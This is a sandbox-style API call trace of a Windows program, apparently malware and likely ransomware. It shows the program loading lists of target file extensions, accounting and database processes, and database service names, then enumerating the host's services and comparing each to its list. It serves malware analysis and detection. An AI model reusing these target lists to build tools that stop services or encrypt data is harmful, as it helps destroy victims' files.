	[0177.166] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x4) returned 0x6b7080
	[0177.166] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x8) returned 0x6b7180
	[0177.166] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xc) returned 0x6b83d0
	[0177.166] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x4) returned 0x6b7040
	[0177.166] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x6b8178
	[0177.166] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b7040, Size=0x8) returned 0x6b70e0
	[0177.166] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xc) returned 0x6b82e0
	[0177.166] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b70e0, Size=0x10) returned 0x6b83e8
	[0177.166] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x6b8400
	[0177.166] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x6b82b0
	[0177.167] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b83e8, Size=0x20) returned 0x6ab1b8
	[0177.167] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xc) returned 0x6b8190
	[0177.167] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x6b83e8
	[0177.167] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b70d0, Size=0x8) returned 0x6b70e0
	[0177.167] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b7080, Size=0x8) returned 0x6b70d0
	[0177.167] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x8) returned 0x6b71e0
	[0177.167] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xc) returned 0x6b8448
	[0177.167] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x4) returned 0x6b7010
	[0177.167] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x6b8160
	[0177.167] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b7010, Size=0x8) returned 0x6b7040
	[0177.167] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x6b81a8
	[0177.167] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b7040, Size=0x10) returned 0x6b81c0
	[0177.167] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x6b8208
	[0177.167] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x8) returned 0x6b7010
	[0177.167] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b81c0, Size=0x20) returned 0x6dda80
	[0177.167] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b70e0, Size=0x10) returned 0x6b81c0
	[0177.167] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b70d0, Size=0x10) returned 0x6b8490
	[0177.167] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x8) returned 0x6b7080
	[0177.167] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xc) returned 0x6b84f0
	[0177.167] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x4) returned 0x6b70d0
	[0177.167] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x6b84a8
	[0177.167] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b70d0, Size=0x8) returned 0x6b7040
	[0177.167] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x8) returned 0x6b70d0
	[0177.167] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xc) returned 0x6b8520
	[0177.167] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x4) returned 0x6b70e0
	[0177.167] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x6b8460
	[0177.167] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b70e0, Size=0x8) returned 0x6de3c8
	[0177.167] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b81c0, Size=0x20) returned 0x6ddc88
	[0177.167] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b8490, Size=0x20) returned 0x6dd918
	[0177.167] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x8) returned 0x6de2f8
	[0177.167] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xc) returned 0x6b8490
	[0177.167] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x4) returned 0x6de3a8
	[0177.168] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x6b8508
	[0177.168] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6de3a8, Size=0x8) returned 0x6de4a8
	[0177.168] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6b6330
	[0177.168] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6b6690
	[0177.168] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91
	[0177.168] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b87e0 | out: hHeap=0x6a0000) returned 1
	[0177.168] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x19fde8 | out: lpWSAData=0x19fde8) returned 0
	[0177.172] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6b8478
	[0177.172] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b8478, Size=0x20) returned 0x6ddc10
	[0177.172] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6ddc10, Size=0x40) returned 0x6b7d30
	[0177.172] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b7d30, Size=0x80) returned 0x6e3768
	[0177.172] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e3768, Size=0x100) returned 0x6e3978
	[0177.172] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6b8478
	[0177.172] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b8478, Size=0x20) returned 0x6ddcb0
	[0177.172] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6ddcb0, Size=0x40) returned 0x6b78b0
	[0177.172] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b78b0, Size=0x80) returned 0x6e2e60
	[0177.172] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e2e60, Size=0x100) returned 0x6e3a80
	[0177.172] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xc) returned 0x6b8478
	[0177.172] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x4) returned 0x6de348
	[0177.172] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6b84c0
	[0177.172] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6de348, Size=0x8) returned 0x6de358
	[0177.172] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6b64f0
	[0177.172] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6de358, Size=0x10) returned 0x6b84d8
	[0177.172] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6b63b0
	[0177.172] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1a) returned 0x6ddd00
	[0177.172] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b84d8, Size=0x20) returned 0x6dddc8
	[0177.173] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6ddd28
	[0177.173] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x16) returned 0x6b65f0
	[0177.173] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1a) returned 0x6ddcb0
	[0177.173] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xc) returned 0x6b84d8
	[0177.173] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x4) returned 0x6de3a8
	[0177.173] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b77d8
	[0177.173] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6de3a8, Size=0x8) returned 0x6de478
	[0177.173] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x3c) returned 0x6b7700
	[0177.173] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6de478, Size=0x10) returned 0x6b81c0
	[0177.173] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6b65d0
	[0177.173] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6b6550
	[0177.173] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b81c0, Size=0x20) returned 0x6ddd50
	[0177.173] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x24) returned 0x6b6c50
	[0177.173] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81
	[0177.173] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e3978 | out: hHeap=0x6a0000) returned 1
	[0177.173] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102
	[0177.173] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e3a80 | out: hHeap=0x6a0000) returned 1
	[0177.173] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6ddda0
	[0177.176] EnumServicesStatusExW (in: hSCManager=0x6ddda0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0) returned 0
	[0177.177] GetLastError () returned 0xea
	[0177.177] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1bc4) returned 0x6e6588
	[0177.177] EnumServicesStatusExW (in: hSCManager=0x6ddda0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x6e6588, cbBufSize=0x1bc4, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x6e6588, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0) returned 1
	[0177.178] CloseServiceHandle (hSCObject=0x6ddda0) returned 1
	[0177.179] lstrlenW (lpString="Appinfo") returned 7
	[0177.179] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0177.181] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0177.181] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0177.181] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0177.181] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0177.181] lstrlenW (lpString="AppXSvc") returned 7
	[0177.181] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0177.182] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0177.182] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0177.182] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0177.182] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0177.182] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0177.182] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0177.182] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0177.182] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0177.182] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0177.182] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0177.182] lstrlenW (lpString="Audiosrv") returned 8
	[0177.182] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0177.182] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0177.182] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0177.182] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0177.182] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0177.182] lstrlenW (lpString="BFE") returned 3
	[0177.182] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0177.182] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0177.182] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0177.182] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0177.182] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0177.182] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0177.182] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0177.182] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0177.182] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0177.182] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0177.182] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0177.182] lstrlenW (lpString="CDPSvc") returned 6
	[0177.182] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0177.183] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0177.183] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0177.183] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0177.183] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0177.183] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0177.183] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0177.183] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0177.183] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0177.183] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0177.183] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0177.183] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0177.183] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0177.183] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0177.183] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0177.183] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0177.183] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0177.183] lstrlenW (lpString="CryptSvc") returned 8
	[0177.183] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0177.183] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0177.183] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0177.183] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0177.183] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0177.183] lstrlenW (lpString="DcomLaunch") returned 10
	[0177.183] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0177.183] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0177.183] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0177.183] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0177.183] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0177.183] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0177.184] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0177.184] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0177.184] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0177.184] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0177.184] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0177.184] lstrlenW (lpString="Dhcp") returned 4
	[0177.184] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0177.184] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0177.184] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0177.184] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0177.184] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0177.184] lstrlenW (lpString="Dnscache") returned 8
	[0177.184] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0177.184] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0177.184] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0177.184] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0177.184] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0177.184] lstrlenW (lpString="DPS") returned 3
	[0177.184] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0177.184] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0177.184] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0177.184] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0177.184] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0177.184] lstrlenW (lpString="DusmSvc") returned 7
	[0177.184] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0177.184] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0177.184] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0177.184] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0177.184] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0177.184] lstrlenW (lpString="EventLog") returned 8
	[0177.184] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0177.185] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0177.185] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0177.185] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0177.185] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0177.185] lstrlenW (lpString="EventSystem") returned 11
	[0177.185] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0177.185] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0177.185] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0177.185] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0177.185] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0177.185] lstrlenW (lpString="FontCache") returned 9
	[0177.185] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0177.185] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0177.185] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0177.185] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0177.185] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0177.185] lstrlenW (lpString="gpsvc") returned 5
	[0177.185] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0177.185] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0177.185] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0177.185] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0177.185] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0177.185] lstrlenW (lpString="iphlpsvc") returned 8
	[0177.185] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0177.185] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0177.185] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0177.185] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0177.185] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0177.185] lstrlenW (lpString="KeyIso") returned 6
	[0177.186] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0177.186] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0177.186] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0177.186] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0177.186] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0177.186] lstrlenW (lpString="LanmanServer") returned 12
	[0177.186] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0177.186] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0177.186] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0177.186] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0177.186] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0177.186] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0177.186] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0177.186] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0177.186] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0177.186] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0177.186] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0177.186] lstrlenW (lpString="lfsvc") returned 5
	[0177.186] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0177.186] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0177.186] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0177.186] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0177.186] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0177.186] lstrlenW (lpString="lmhosts") returned 7
	[0177.186] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0177.186] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0177.186] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0177.186] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0177.186] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0177.186] lstrlenW (lpString="LSM") returned 3
	[0177.186] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0177.186] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0177.187] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0177.187] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0177.187] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0177.187] lstrlenW (lpString="MpsSvc") returned 6
	[0177.187] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0177.187] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0177.187] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0177.187] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0177.187] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0177.187] lstrlenW (lpString="NcbService") returned 10
	[0177.187] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0177.187] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0177.187] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0177.187] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0177.187] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0177.187] lstrlenW (lpString="netprofm") returned 8
	[0177.187] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0177.187] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0177.187] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0177.187] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0177.187] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0177.187] lstrlenW (lpString="NgcSvc") returned 6
	[0177.187] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0177.187] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0177.187] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0177.187] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0177.187] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0177.187] lstrlenW (lpString="NlaSvc") returned 6
	[0177.187] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0177.187] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0177.188] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0177.188] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0177.188] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0177.188] lstrlenW (lpString="nsi") returned 3
	[0177.188] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0177.188] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0177.188] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
